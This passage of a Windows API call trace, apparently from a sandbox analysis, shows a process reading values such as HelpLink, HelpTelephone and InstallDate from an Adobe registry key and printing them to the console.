GetProcessHeap () returned 0x3c0000 [0150.311] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x50 [0150.311] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x4e | out: pdwType=0x29f700*=0x2, pvData="http://www.adobe.com/support/main.html", pcbData=0x29f780*=0x4e) returned 0x0 [0150.311] __iob_func () returned 0x7fefd702a80 [0150.311] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.311] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.311] _fileno (_File=0x7fefd702ab0) returned 1 [0150.311] _errno () returned 0x204bb0 [0150.311] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.311] _errno () returned 0x204bb0 [0150.311] GetFileType (hFile=0x50) returned 0x1 [0150.311] lstrlenW (lpString=" ") returned 4 [0150.311] GetConsoleOutputCP () returned 0x1b5 [0150.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.311] GetConsoleOutputCP () returned 0x1b5 [0150.311] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.311] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.311] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.312] lstrlenW (lpString="HelpLink") returned 8 [0150.312] __iob_func () returned 0x7fefd702a80 [0150.312] _fileno (_File=0x7fefd702ab0) returned 1 [0150.312] _errno () returned 0x204bb0 [0150.312] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.312] _errno () returned 0x204bb0 [0150.312] GetFileType (hFile=0x50) returned 0x1 [0150.312] lstrlenW (lpString="HelpLink") returned 8 [0150.312] GetConsoleOutputCP () returned 0x1b5 [0150.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.312] GetConsoleOutputCP () returned 0x1b5 [0150.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0150.312] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0150.312] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.312] __iob_func () returned 0x7fefd702a80 [0150.312] _fileno (_File=0x7fefd702ab0) returned 1 [0150.312] _errno () returned 0x204bb0 [0150.312] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.312] _errno () returned 0x204bb0 [0150.312] GetFileType (hFile=0x50) returned 0x1 [0150.312] lstrlenW (lpString=" ") returned 4 [0150.312] GetConsoleOutputCP () returned 0x1b5 [0150.312] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.312] GetConsoleOutputCP () returned 0x1b5 [0150.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.313] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.313] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.313] __iob_func () returned 0x7fefd702a80 [0150.313] _fileno (_File=0x7fefd702ab0) returned 1 [0150.313] _errno () returned 0x204bb0 [0150.313] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.313] _errno () returned 0x204bb0 [0150.313] GetFileType (hFile=0x50) returned 0x1 [0150.313] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0150.313] GetConsoleOutputCP () returned 0x1b5 [0150.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.313] GetConsoleOutputCP () returned 0x1b5 [0150.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0150.313] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.313] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.314] __iob_func () returned 0x7fefd702a80 [0150.314] _fileno (_File=0x7fefd702ab0) returned 1 [0150.314] _errno () returned 0x204bb0 [0150.314] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.314] _errno () returned 0x204bb0 [0150.314] GetFileType (hFile=0x50) returned 0x1 [0150.314] lstrlenW (lpString=" ") returned 4 [0150.314] GetConsoleOutputCP () returned 0x1b5 [0150.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.314] GetConsoleOutputCP () returned 0x1b5 [0150.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.314] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.314] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.314] __iob_func () returned 0x7fefd702a80 [0150.314] _fileno (_File=0x7fefd702ab0) returned 1 [0150.314] _errno () returned 0x204bb0 [0150.314] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.314] _errno () returned 0x204bb0 [0150.314] GetFileType (hFile=0x50) returned 0x1 [0150.314] lstrlenW (lpString="http://www.adobe.com/support/main.html") returned 38 [0150.314] GetConsoleOutputCP () returned 0x1b5 [0150.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/support/main.html", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0150.315] GetConsoleOutputCP () returned 0x1b5 [0150.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://www.adobe.com/support/main.html", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://www.adobe.com/support/main.html", lpUsedDefaultChar=0x0) returned 38 [0150.315] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0150.315] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.315] __iob_func () returned 0x7fefd702a80 [0150.315] _fileno (_File=0x7fefd702ab0) returned 1 [0150.315] _errno () returned 0x204bb0 [0150.315] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.315] _errno () returned 0x204bb0 [0150.315] GetFileType (hFile=0x50) returned 0x1 [0150.315] lstrlenW (lpString="\n") returned 1 [0150.315] GetConsoleOutputCP () returned 0x1b5 [0150.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.315] GetConsoleOutputCP () returned 0x1b5 [0150.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.315] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.315] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.315] GetProcessHeap () returned 0x3c0000 [0150.315] GetProcessHeap () returned 0x3c0000 [0150.315] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.315] GetProcessHeap () returned 0x3c0000 [0150.315] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x50 [0150.316] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.316] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.316] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.316] GetProcessHeap () returned 0x3c0000 [0150.316] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.316] GetProcessHeap () returned 0x3c0000 [0150.316] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.316] GetProcessHeap () returned 0x3c0000 [0150.316] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.316] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.316] __iob_func () returned 0x7fefd702a80 [0150.316] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.316] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.316] _fileno (_File=0x7fefd702ab0) returned 1 [0150.316] _errno () returned 0x204bb0 [0150.316] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.316] _errno () returned 0x204bb0 [0150.316] GetFileType (hFile=0x50) returned 0x1 [0150.316] lstrlenW (lpString=" ") returned 4 [0150.316] GetConsoleOutputCP () returned 0x1b5 [0150.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.316] GetConsoleOutputCP () returned 0x1b5 [0150.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.316] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.316] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.317] lstrlenW (lpString="HelpTelephone") returned 13 [0150.317] __iob_func () returned 0x7fefd702a80 [0150.317] _fileno (_File=0x7fefd702ab0) returned 1 [0150.317] _errno () returned 0x204bb0 [0150.317] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.317] _errno () returned 0x204bb0 [0150.317] GetFileType (hFile=0x50) returned 0x1 [0150.317] lstrlenW (lpString="HelpTelephone") returned 13 [0150.317] GetConsoleOutputCP () returned 0x1b5 [0150.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.317] GetConsoleOutputCP () returned 0x1b5 [0150.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0150.317] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.317] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.317] __iob_func () returned 0x7fefd702a80 [0150.317] _fileno (_File=0x7fefd702ab0) returned 1 [0150.317] _errno () returned 0x204bb0 [0150.317] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.317] _errno () returned 0x204bb0 [0150.317] GetFileType (hFile=0x50) returned 0x1 [0150.317] lstrlenW (lpString=" ") returned 4 [0150.317] GetConsoleOutputCP () returned 0x1b5 [0150.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.318] GetConsoleOutputCP () returned 0x1b5 [0150.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.318] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.318] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.318] __iob_func () returned 0x7fefd702a80 [0150.318] _fileno (_File=0x7fefd702ab0) returned 1 [0150.318] _errno () returned 0x204bb0 [0150.318] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.318] _errno () returned 0x204bb0 [0150.318] GetFileType (hFile=0x50) returned 0x1 [0150.318] lstrlenW (lpString="REG_SZ") returned 6 [0150.318] GetConsoleOutputCP () returned 0x1b5 [0150.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.318] GetConsoleOutputCP () returned 0x1b5 [0150.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.318] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.318] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.318] __iob_func () returned 0x7fefd702a80 [0150.318] _fileno (_File=0x7fefd702ab0) returned 1 [0150.318] _errno () returned 0x204bb0 [0150.318] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.318] _errno () returned 0x204bb0 [0150.318] GetFileType (hFile=0x50) returned 0x1 [0150.318] lstrlenW (lpString=" ") returned 4 [0150.319] GetConsoleOutputCP () returned 0x1b5 [0150.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.319] GetConsoleOutputCP () returned 0x1b5 [0150.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.319] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.319] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.319] __iob_func () returned 0x7fefd702a80 [0150.319] _fileno (_File=0x7fefd702ab0) returned 1 [0150.319] _errno () returned 0x204bb0 [0150.319] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.319] _errno () returned 0x204bb0 [0150.319] GetFileType (hFile=0x50) returned 0x1 [0150.319] lstrlenW (lpString="") returned 0 [0150.319] __iob_func () returned 0x7fefd702a80 [0150.319] _fileno (_File=0x7fefd702ab0) returned 1 [0150.319] _errno () returned 0x204bb0 [0150.319] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.319] _errno () returned 0x204bb0 [0150.319] GetFileType (hFile=0x50) returned 0x1 [0150.319] lstrlenW (lpString="\n") returned 1 [0150.319] GetConsoleOutputCP () returned 0x1b5 [0150.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.319] GetConsoleOutputCP () returned 0x1b5 [0150.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.320] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.320] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.320] GetProcessHeap () returned 0x3c0000 [0150.320] GetProcessHeap () returned 0x3c0000 [0150.320] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.320] GetProcessHeap () returned 0x3c0000 [0150.320] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.320] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.320] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.320] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0150.320] GetProcessHeap () returned 0x3c0000 [0150.320] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0150.320] GetProcessHeap () returned 0x3c0000 [0150.320] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0150.320] GetProcessHeap () returned 0x3c0000 [0150.320] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0150.320] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0150.320] __iob_func () returned 0x7fefd702a80 [0150.320] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.320] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.320] _fileno (_File=0x7fefd702ab0) returned 1 [0150.320] _errno () returned 0x204bb0 [0150.320] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.320] _errno () returned 0x204bb0 [0150.320] GetFileType (hFile=0x50) returned 0x1 [0150.320] lstrlenW (lpString=" ") returned 4 [0150.320] GetConsoleOutputCP () returned 0x1b5 [0150.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.321] GetConsoleOutputCP () returned 0x1b5 [0150.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.321] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.321] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.321] lstrlenW (lpString="InstallDate") returned 11 [0150.321] __iob_func () returned 0x7fefd702a80 [0150.321] _fileno (_File=0x7fefd702ab0) returned 1 [0150.321] _errno () returned 0x204bb0 [0150.321] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.321] _errno () returned 0x204bb0 [0150.321] GetFileType (hFile=0x50) returned 0x1 [0150.321] lstrlenW (lpString="InstallDate") returned 11 [0150.321] GetConsoleOutputCP () returned 0x1b5 [0150.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0150.321] GetConsoleOutputCP () returned 0x1b5 [0150.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0150.321] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0150.321] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.321] __iob_func () returned 0x7fefd702a80 [0150.322] _fileno (_File=0x7fefd702ab0) returned 1 [0150.322] _errno () returned 0x204bb0 [0150.322] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.322] _errno () returned 0x204bb0 [0150.322] GetFileType (hFile=0x50) returned 0x1 [0150.322] lstrlenW (lpString=" ") returned 4 [0150.322] GetConsoleOutputCP () returned 0x1b5 [0150.322] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.322] GetConsoleOutputCP () returned 0x1b5 [0150.322] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.322] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.322] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.322] __iob_func () returned 0x7fefd702a80 [0150.322] _fileno (_File=0x7fefd702ab0) returned 1 [0150.322] _errno () returned 0x204bb0 [0150.322] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.322] _errno () returned 0x204bb0 [0150.322] GetFileType (hFile=0x50) returned 0x1 [0150.322] lstrlenW (lpString="REG_SZ") returned 6 [0150.322] GetConsoleOutputCP () returned 0x1b5 [0150.322] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.322] GetConsoleOutputCP () returned 0x1b5 [0150.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.323] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.323] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.323] __iob_func () returned 0x7fefd702a80 [0150.323] _fileno (_File=0x7fefd702ab0) returned 1 [0150.323] _errno () returned 0x204bb0 [0150.323] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.323] _errno () returned 0x204bb0 [0150.323] GetFileType (hFile=0x50) returned 0x1 [0150.323] lstrlenW (lpString=" ") returned 4 [0150.323] GetConsoleOutputCP () returned 0x1b5 [0150.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.323] GetConsoleOutputCP () returned 0x1b5 [0150.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.323] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.323] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.323] __iob_func () returned 0x7fefd702a80 [0150.323] _fileno (_File=0x7fefd702ab0) returned 1 [0150.323] _errno () returned 0x204bb0 [0150.323] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.323] _errno () returned 0x204bb0 [0150.323] GetFileType (hFile=0x50) returned 0x1 [0150.323] lstrlenW (lpString="20170630") returned 8 [0150.323] GetConsoleOutputCP () returned 0x1b5 [0150.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0150.324] GetConsoleOutputCP () returned 0x1b5 [0150.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, 